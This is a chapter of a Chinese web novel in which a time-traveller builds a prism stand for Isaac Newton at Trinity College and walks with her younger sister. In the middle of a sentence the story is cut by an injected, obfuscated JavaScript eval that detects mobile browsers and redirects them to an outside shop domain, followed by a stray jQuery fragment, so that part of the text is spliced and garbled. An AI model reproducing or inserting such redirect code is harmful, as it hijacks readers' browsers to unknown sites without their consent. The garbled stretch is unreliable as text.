事情的始作俑者正趴在木桌前绘制新棱镜支架的图样。

    机械专业的学生大多逃不过工程制图这一关,林赛也不例外。她本科时曾经抱着丁字尺和三角板在制图室里坐上一整夜,为了一根线究竟该画实线还是虚线被老师用红笔批得满纸都是圈。

    她先照着昨天许诺给牛顿的样子画了一版,精巧的黄铜底座、带有刻度指示的可转动圆盘,以及能完美固定棱镜的弹簧卡槽。

    画完以后,林赛端详片刻,在心里暗自夸赞了自己的专业素养。

    她打开了波特先生留下的工具箱。看着里面生锈的锉刀与粗糙的手钻,以及一堆手作痕迹明显的零件,林赛沉默地把刚画好的图纸拉了回来。

    全黄铜?做不了。

    精密转轴与微调齿轮?做不了。

    她昨天信誓旦旦许诺的几分角度精度,林赛也识时务地决定暂时不要去自寻烦恼。

    等这笔钱拿到手,她第一件事就是添一套像样的锉刀,再买一把好些的手钻,最好还有新的卡钳、圆规和一张升级款的工作台。这样下次再遇到牛顿这种甲方,她至少不至于一边吹精度,一边拿木尺骗自己。

    林赛越想越觉得不对。

    等等。

    她千辛万苦从伦敦跑到剑桥,冒着冻死在路上的风险追这四镑十二先令,难道最后要原封不动地再砸回作坊里?

    这和自费上班有什么区别?

    钱拿到以后,她至少要买一只肥鸡,等到礼拜日晚上,把鸡切块炖上一大锅。没有酱油不要紧,鸡只要够新鲜,清炖也能吃。等到锅里的汤咕嘟咕嘟滚起来,鸡油浮成金黄色的一层,整个屋子都会是油脂的清香。

    林赛叹了口气,人家穿越都是去引领工业革命的,怎么到她这里,最大愿望竟然只是吃上一口热腾腾的清炖鸡汤?

    她不禁开始天马行空:以前看过的穿越小说里,女主们究竟是怎么凭空搞出各种高精尖发明创造的?她不得不承认,自己对通俗小说桥段的记忆力,比对普通物理和金工实习的记忆力强了一百倍。

    在她阅文无数的记忆里,穿越文的女主们往往只需要把一张惊艳绝伦的图纸交给老工匠,一个月后,就能顺理成章地拿到完美成品。

    现在图纸画好了。那么请问,能帮她把图纸变成实物的神奇工匠在哪里?林赛环顾四周,最终看向自己沾满铅粉的双手。

    神奇工匠竟是我!

    ……早知道有今天,当年在实验室里就该再努力一点。

    -

    工程的第一要义永远不是造出最完美的神器,而是在手边只有一堆破烂时,想办法把能用的东西给拼出来。

    林赛重新铺开一张纸。

    底座根本不需要全黄铜,干燥的硬木足够稳定,切削起来还省时省力。只需要在真正需要耐磨和固定位置的关键卡口上包一层黄铜片。棱镜槽同样可以用木头削出大致结构,内侧垫上一层衬皮,既防滑又能避免磕伤玻璃。

    至于最核心的分度盘。林赛翻遍了波特先生留下的工具箱,也没能找到一把量角器。测角仪器在这个时代当然早已问世,只是不可能像三百年后的学生文具一样,随便从抽屉里就能摸出一个。

    不过无所谓,她还有最原始的武器,一把圆规。

    画圆,作直径,以半径截弦可以得到六十度,再逐次平分。十五度、七度半,真要继续无限平分下去,手作的误差确实会越来越丑陋,但那位牛顿先生需要的又不是绝对的角度精度,他仅仅需要一个能让棱镜每次都尽可能重置到同一位置的参考基准。

    林赛找出一块厚实的大硬木圆盘,在边缘细致地覆上一层薄薄的黄铜片。

    开工!

    -

    房间里奏起锯齿来回啃噬木料的乐曲,间或夹杂着小锤敲击黄铜片的脆响,木屑从桌沿纷纷扬扬,落得地面一地碎雪。她先锯出圆盘的大致轮廓,再一点点修整边缘,黄铜片则裁成窄条,沿着木盘外缘慢慢敲平固定。

    多萝分到了一块粗加工的小木件和替代砂纸的粗糙鲨鱼皮,负责磨掉边缘的毛刺。小女孩接过任务时神情肃穆得像在接领一项神圣使命,磨上两下就要举起来凑到光线底下严肃检查。

    林赛抬眼看见这副模样,心软成一团。

    太乖了。

    怎么会有这么乖的小孩。

    简直是天使宝宝!

    她现代的妹妹小时候要是也这么听话,她何至于年纪轻轻就拥有一身哄孩子、追孩子、从孩子嘴里抢危险物品的绝技。

    想到这里,林赛心中五味杂陈。

    小时候,妹妹是她最好玩的洋娃娃,等长大了,妹妹又顺理成章变成了她最听话的仆人。她们俩感情最好了,她读博的时候,妹妹每年寒暑假都会申请无陪护儿童机票,背着鼓鼓囊囊的假期作业,远渡重洋飞来她的小出租屋过假期。

    不知道家里现在怎么样了,隔着三百年的漫长岁月,她连一句平安都传不回去。

    多萝察觉到姐姐的视线,立刻把木件举过来:“姐姐,这样可以了吗?”

    “特别好!”林赛毫无原则地夸奖,“我们多萝以后绝对是全伦敦最厉害的工匠。”

    多萝干得更卖力了。

    -

    到了傍晚,那个棱镜支架终于诞生。硬木底座被修整得方正平稳,边缘包着一圈锃亮的黄铜,分度圆盘上的刻线长短有致,棱镜放进卡槽以后也能牢牢停在同一个位置。林赛反复拆装了几次,又把圆盘转回原来的刻度,确认没有明显晃动,这才满意地拍掉手上的木屑。

    至少从工程师的良心来说,这十二先令赚得不算太黑。

    牛顿先生的实验要等太阳足够高的时候才能做,眼下天色已经一点点暗下来,窗外的石墙被冬日傍晚染成沉沉的灰蓝色,再折腾也没有意义。林赛收好工具,带着多萝下楼吃饭。

    学院厨房给她们留了一锅炖菜,燕麦、洋葱和不知名的根茎蔬菜煮得软烂,里面还能捞出零星几块碎肉,旁边照例配着粗麦面包。放在现代,林赛大概会嫌弃这东西毫无调味可言,如今她已经非常懂得感恩,至少它是热的,还有一点儿咸咸的。

    多萝把碗底刮得干干净净,最后还拿面包蘸掉剩下的一点汤汁。

    林赛看得心情大好,吃完饭便牵着她出去散步。三一学院入夜以后比白天安静许多,学生们陆续回到各自的房间,长廊

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874034|212336||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    下只偶尔有人抱着书匆匆经过,远处教堂的钟声悠长,康河边的草地已经结起一层薄霜。

    多萝的手塞在林赛掌心里,小小的,暖暖的。

    她们已经很久没有这样无事可做地散过步了。

    准确地说,是林赛第一次和多萝散步。

    这个念头冒出来以后,林赛有些不自在。她会给多萝擦洗头发,会哄她喝药,会在她发烧的时候守着她,也可以背着她在雪地里走上很远,可这些事情她从前都为另一个妹妹做过,她不需要思考便知道应该怎么做。可这样手牵手走在一起,她不知道该和多萝聊些什么。

    她毕竟不是真正的林赛·波特。

    多萝似乎也没有说话的意思,只低着头踩石板缝隙里薄薄的霜,两个人安静地走过一段长廊,只有鞋底落在石板上的声音一前一后。

    林赛想了半天,终于找出一个自认为非常适合和十岁小孩聊天的话题:“多萝,你最近有什么高兴的事情吗?”

    多萝有些意外:“高兴的事情?”

    “对呀。”林赛晃着两个人牵在一起的手,“什么都可以。”

    多萝想了一会儿:“上个月,布莱克太太让我们背《诗篇》,玛丽背到一半忘了,偷偷把书藏在前面人的裙子后面看,结果那个人一转身,书啪嗒掉在地上了。”

    “然后呢?”

    “布莱克太太问是谁的,所有人都不说话。”多萝悄悄偷看姐姐的神情,她在笑,小女孩于是自在了一些,“后来玛丽被罚站,可是她站在后面一直对我们做鬼脸,布莱克太太每次回头,她就马上装成在祷告。”

    林赛问:“那你背下来《诗篇》了吗?”

    多萝吐吐舌头:“没有,我也没背下来。不过玛丽捣乱了,布莱克太太就没有检查我们。”她大声声明:“但是我现在背下来了!”

    “……耶和华是我的牧者,我必不至缺乏……”

    康河边的讲堂里亮着灯,年轻的学士们还围在那道没有来得及擦去的题目前争论。林赛牵着会背《诗篇》的小女孩从窗下经过。

    耶和华是我的牧者,我必不至缺乏。

    他使我躺卧在青草地上,领我在可安歇的水边。

    -

    新的棱镜支架被安置在原来的位置。艾萨克·牛顿把第一块棱镜放进卡槽,转到某一刻度,墙上的彩色光带随之出现。取下,再装回,重新转到同一刻度,光带落回原处。

    “这个很好。”

    林赛觉得十二先令赚得光明正大。

    接下来轮到那三块棱镜。

    第一块,记录。

    第二块,保持同样的刻度,记录。

    第三块,仍旧保持同样的刻度,再记录。

    即便这一次每块棱镜都被固定在相同的位置,墙上的三道光谱依然明显不同,其中一块拉得更长,另一块偏折得更多,第三块的边缘还有些模糊。

    林赛十分艰难地维护着一名专业乙方最后的尊严:“牛顿先生。”

    “嗯?”占据上风的人往往只需要最简单的回答。

    “我们的棱镜……”

    她停顿片刻。

    “实有问题。”